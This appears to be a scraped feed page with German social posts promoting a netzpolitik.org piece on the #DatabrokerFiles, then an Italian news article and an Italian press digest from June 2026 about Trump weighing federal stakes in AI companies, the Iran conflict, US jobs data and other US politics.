Lest im Wochenrückblick, warum da gerade Feuer drin ist. #DatabrokerFiles

netzpolitik.org/2026/kw-23-die…

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Stell dir vor, du bist in Mecklenburg-Vorpommern unterwegs, vielleicht machst du Urlaub. Ostsee, Rügen, Stralsund. 🏖️☀️🧴🌊🐚

Vielleicht bekommst du nach dem Schwimmen einen komischen Ausschlag und lässt den kurz beim Hautarzt checken. 🔎

Was dieses Szenario mit den #DatabrokerFiles zu tun hat, schreibt @sebmeineck im netzpolitischen Wochenrückblick.

netzpolitik.org/2026/kw-23-die…

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Trump vuole che il governo possieda parte delle aziende di AI


Il presidente discute con i dirigenti del settore la possibilità di partecipazioni pubbliche in OpenAI, Anthropic e xAI. L'idea divide repubblicani e democratici a pochi mesi dal voto di midterm.

Il presidente Donald Trump ha confermato venerdì di essere in trattativa con i dirigenti delle principali aziende di intelligenza artificiale per far entrare il governo federale nel loro capitale. L'intervento, se realizzato, sarebbe tra i più significativi del settore pubblico nell'economia privata nella storia americana moderna.

A rivelare per primo l'esistenza di queste discussioni è stato NOTUS, che già da oltre un anno seguiva i colloqui tra la Casa Bianca e i giganti tecnologici. Trump ha ora confermato pubblicamente i contatti e ha annunciato l'intenzione di invitare "tutti" i rappresentanti delle grandi aziende di IA alla Casa Bianca già la prossima settimana.

Sam Altman, amministratore delegato di OpenAI, è tra i promotori dell'idea: ha discusso con Trump la possibilità che quote delle società di IA, inclusa la sua, vengano cedute volontariamente al governo. L'investimento pubblico genererebbe dividendi da distribuire ai cittadini americani. "Ci sono così tanti soldi in gioco, è un settore enorme", ha detto il presidente. "Ci sono scenari in cui delle quote potrebbero essere date al popolo americano, che diventerebbe di fatto un partner delle aziende".

Come riporta il Financial Times, l'amministrazione Trump ha già acquisito partecipazioni in aziende strategicamente rilevanti come Intel e in startup attive nei settori delle terre rare e del calcolo quantistico, in linea con la politica industriale "America first" del presidente.

Il senatore progressista Bernie Sanders, indipendente del Vermont, ritiene che il piano non vada abbastanza lontano. Ha annunciato un disegno di legge per imporre una tassa una tantum del 50 per cento sulle azioni dei laboratori di IA e usare i proventi per creare un fondo sovrano americano. La misura "garantirebbe che i mille miliardi di dollari creati dall'IA siano usati per migliorare la vita di tutti noi", ha detto Sanders.

Il venture capitalist della Silicon Valley e consigliere di Trump David Sacks ha criticato l'intervento statale: "La nazionalizzazione dell'IA accelererà la fusione tra aziende e governo verso cui stiamo già scivolando", ha scritto venerdì in un post sui social, prima delle dichiarazioni del presidente. "L'America non vincerà la corsa all'IA se batterà la Cina ma finirà con un sistema di credito sociale in stile PCC negli Stati Uniti, e questo è il pericolo quando il governo si coinvolge sempre più nello sviluppo dell'IA assumendo proprietà e controllo diretti".

Anche Alex Karp, amministratore delegato di Palantir, è intervenuto nel dibattito. In un'intervista all'emittente TBPN ha raccontato di aver chiamato i dirigenti delle aziende di IA per avvertirli che "lo slancio è dalla parte di chi vuole nazionalizzarle". "Troppi di noi se la stanno prendendo comoda", ha aggiunto.

Anthropic, tuttavia, non sta discutendo con l'amministrazione la possibilità di cedere capitale al governo, secondo una fonte vicina alla questione sentita da NOTUS.

L'intervento di Trump arriva a cinque mesi dalle elezioni di midterm, in cui l'IA e il suo impatto sull'occupazione saranno temi centrali. I sondaggi mostrano un crescente malcontento degli elettori verso la gestione economica del presidente, e questo rischia di compromettere le possibilità dei repubblicani di mantenere il controllo del Congresso. Gli strateghi repubblicani sono preoccupati anche dal malumore verso l'IA che monta nella stessa base Maga del presidente: diversi parlamentari repubblicani hanno provato a introdurre leggi per limitare il settore, temendo perdite di posti di lavoro e minacce alla sicurezza dei minori, ma hanno incontrato la resistenza della Casa Bianca.

Trump ha riconosciuto venerdì che la proposta di Sanders ha fatto breccia anche tra i suoi elettori, e ha suggerito che un "partenariato" tra cittadini e aziende potrebbe placare l'ostilità crescente degli americani verso la tecnologia. "Renderli partner di questa rivoluzione sarebbe una cosa bellissima", ha detto.

Sul tavolo restano molti dettagli da definire, a partire da quante quote il governo dovrebbe possedere. Due delle principali aziende coinvolte, Anthropic e SpaceX, potrebbero quotarsi in Borsa entro pochi mesi con valutazioni attese di migliaia di miliardi di dollari, mentre OpenAI dovrebbe seguire a ruota. Qualsiasi partecipazione azionaria sarebbe quindi estremamente costosa.

OpenAI aveva già delineato ad aprile una proposta per un fondo di ricchezza pubblica americano che desse ai cittadini "una partecipazione alla crescita economica guidata dall'IA". Secondo una fonte a conoscenza diretta della questione, Altman ha poi parlato della proposta con Sanders ed è stato a Washington questa settimana per incontrare parlamentari e funzionari dell'amministrazione Trump.

Questa voce è stata modificata (1 mese fa)

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La rassegna stampa di sabato 6 giugno 2026


Le forze americane abbattono droni iraniani nel Golfo mentre Kuwait e Bahrain sono colpiti. Boom di assunzioni a maggio ma il Nasdaq perde il 4 per cento sulle attese di un rialzo della Fed. Trump apre a partecipazioni federali nelle aziende di intelligenza artificiale

Questa è la rassegna stampa di sabato 6 giugno 2026

Le forze americane abbattono droni iraniani nel Golfo, attacchi su Kuwait e Bahrain


Il Centcom ha annunciato di aver intercettato almeno quattro droni iraniani diretti verso lo Stretto di Hormuz e ha colpito siti radar a Goruk e sull'isola di Qeshm, mentre Kuwait e Bahrain sono stati bersaglio di nuovi attacchi. Lo scontro, a quasi cento giorni dall'inizio del conflitto, mette a rischio il cessate il fuoco e fa salire la tensione mentre l'Amministrazione Trump preme su Teheran per chiudere un accordo.

Fonti: The New York Times, Bloomberg, Financial Times

L'economia americana aggiunge 172mila posti di lavoro a maggio, ma Wall Street crolla


Il rapporto sull'occupazione di maggio ha superato tutte le stime con 172mila nuovi posti e un tasso di disoccupazione al 4,3 per cento, terzo dato positivo consecutivo. La reazione dei mercati è stata però negativa: il Nasdaq ha perso il 4 per cento e l'S&P 500 il 2,6 per cento, con gli investitori che ora scommettono su un rialzo dei tassi da parte della Federal Reserve.

Fonti: The New York Times, Financial Times, The Guardian

L'ex segretario alla Sanità Xavier Becerra avanza alle primarie per il governatore della California


L'ex segretario alla Sanità Xavier Becerra ha conquistato il primo posto nelle primarie californiane e sarà sulla scheda di novembre per succedere a Gavin Newsom. L'avversario è ancora incerto tra il democratico Tom Steyer e il repubblicano Steve Hilton, mentre il Dipartimento di Giustizia ha inviato un osservatore federale a Los Angeles dopo le accuse di "brogli" lanciate dal presidente Trump contro lo Stato.

Fonti: The New York Times, The Wall Street Journal, The Guardian

Il caso Platner mette in difficoltà i Democratici in vista delle elezioni in Maine


Le nuove rivelazioni del New York Times sul candidato democratico al Senato in Maine Graham Platner, accusato di comportamenti aggressivi verso ex compagne, hanno spaccato il partito. La deputata Madeleine Dean ha detto che Platner "si è squalificato da solo", mentre il candidato respinge le accuse e sostiene che il suo passato sia stato "armato" contro di lui.

Fonti: The New York Times, The Wall Street Journal, The Hill

Il presidente Trump prova a rassicurare gli agricoltori del Wisconsin colpiti da dazi e guerra in Iran


Il presidente ha incontrato gli agricoltori in Wisconsin promettendo loro "cose buone" senza dare dettagli, mentre i prezzi di fertilizzanti e carburanti sono saliti per effetto delle sue politiche sui dazi e del conflitto con l'Iran. Trump ha riconosciuto di "poter essere a casa a guardare la TV", in un evento che riflette le tensioni con un settore strategico in vista delle elezioni di metà mandato.

Fonti: The New York Times, Bloomberg, The Hill

Un giudice federale annulla le restrizioni dell'Amministrazione sui benefici per l'immigrazione


Il giudice distrettuale John J. McConnell Jr. ha invalidato quattro politiche dell'Amministrazione Trump che restringevano le richieste di asilo e altri benefici per gli immigrati, ritenendole oltre l'autorità delle agenzie e motivate da "sentimenti anti-immigrati". In parallelo, il Dipartimento del Tesoro ha avviato l'attuazione di un ordine esecutivo che coinvolge le banche nella stretta contro gli immigrati senza documenti.

Fonti: The Wall Street Journal, Semafor

Il presidente Trump apre a partecipazioni federali nelle aziende di intelligenza artificiale


Il presidente ha detto che gli Stati Uniti potrebbero acquisire quote azionarie in alcune società di intelligenza artificiale, presentando l'ipotesi come una "partnership" utile a rassicurare gli elettori in vista delle elezioni di metà mandato. Contemporaneamente Trump ha firmato un memo che obbliga le agenzie di sicurezza nazionale a lavorare con più fornitori di AI, dopo lo scontro tra il Pentagono e Anthropic, finora unico vendor approvato per uso militare classificato.

Fonti: Financial Times, Bloomberg

SpaceX firma un contratto da 30 miliardi di dollari con Google per la potenza di calcolo AI


La società di Elon Musk ha annunciato un accordo con cui Google le pagherà 920 milioni di dollari al mese per la fornitura di capacità di calcolo dedicata all'intelligenza artificiale. L'intesa arriva mentre SpaceX si prepara a una quotazione in borsa che si annuncia tra le più grandi della storia.

Fonti: The New York Times, Financial Times

Trump spinge il nuovo capo dell'intelligence Pulte a licenziare in massa


Il presidente ha detto di volere che Bill Pulte, da poco nominato direttore facente funzione dell'intelligence nazionale, "tagli molto" l'ufficio, già ridimensionato durante il secondo mandato. Trump ha lasciato intendere che l'Office of the Director of National Intelligence potrebbe perfino essere chiuso, mentre il Senato ha bloccato il rinnovo del programma di sorveglianza Fisa in mezzo ai dubbi sulla nomina.

Fonti: The Wall Street Journal, The Guardian

I conduttori di "60 Minutes" restano dopo il licenziamento di Scott Pelley, ma la crisi della CBS si allarga


Lesley Stahl, Bill Whitaker e Jon Wertheim hanno comunicato allo staff che resteranno nel programma per non lasciarlo "morire", dopo un periodo di "lutto" seguito al licenziamento di Scott Pelley. La vicenda, partita dall'attacco del presidente Trump al programma di punta della CBS, si è trasformata in una crisi più ampia che coinvolge la nuova direzione editoriale di Bari Weiss e l'editore David Ellison.

Fonti: The New York Times, Financial Times, The Hill

Il contenuto di questa rassegna stampa è stato integralmente realizzato tramite un sistema di intelligenza artificiale. Se noti eventuali errori o imprecisioni, ti invitiamo a segnalarceli inviando un'email a segnalazioni@focusamerica.it.

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